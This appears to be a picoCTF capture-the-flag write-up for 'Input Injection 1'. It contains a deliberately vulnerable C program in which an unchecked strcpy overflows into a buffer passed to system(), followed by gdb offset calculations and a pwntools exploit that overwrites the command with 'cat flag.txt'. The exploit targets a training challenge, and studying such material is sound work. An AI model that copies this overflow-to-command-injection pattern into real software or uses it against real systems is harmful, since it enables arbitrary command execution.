Input Injection 1

#include <string.h>
#include <stdio.h>
#include <stdlib.h> 

void fun(char *name, char *cmd);

int main() {
    char name[200];
    printf("What is your name?\n");
    fflush(stdout);


    fgets(name, sizeof(name), stdin);
    name[strcspn(name, "\n")] = 0;

    fun(name, "uname");
    return 0;
}

void fun(char *name, char *cmd) {
    char c[10];
    char buffer[10];

    strcpy(c, cmd);
    strcpy(buffer, name);

    printf("Goodbye, %s!\n", buffer);
    fflush(stdout);
    system(c);
}

file vuln

checksec --file=vuln

gdb ./vuln
b vuln
run

 ► 0x4012ab <fun+53>    call   strcpy@plt                  <strcpy@plt>
        dest: 0x7fffffffdf9c ◂— 0xffffe1a800007fff
        src: 0x7fffffffdfc0 ◂— 'aaaaaaaaaa'

gdb ./vuln
b vuln
run

 0x401298 <fun+34>    call   strcpy@plt                  <strcpy@plt>
        dest: 0x7fffffffdfa6 ◂— 0x7ffff7ffe5f00000
        src: 0x402019 ◂— 0x6f4700656d616e75 /* 'uname' */

offset=0x7fffffffdfa6-0x7fffffffdf9c

from pwn import *

if '--remote' in sys.argv:
    p = remote('amiable-citadel.picoctf.net', 52799)
else:
    p = process("./vuln")

p.recvline()
'''
0x4012c3 <fun+77>     call   printf@plt                  <printf@plt>
        format: 0x40201f ◂— 'Goodbye, %s!\n'
        rsi: 0x7fffffffdf9c ◂— 'aaaaaaaaaaaa'
        
x7fffffffdfa6 ◂— 0x7fff00656d006161
 ► 0x4012de <fun+104>            call   system@plt                  <system@plt>
        command: 0x7fffffffdfa6 ◂— 0x7fff00656d006161 /* 'aa' */
 
'''
offset = 0x7fffffffdfa6-0x7fffffffdf9c
payload=flat(
    b'a'*offset,
    b'cat flag.txt'
)
p.sendline(payload)
p.interactive()
p.close()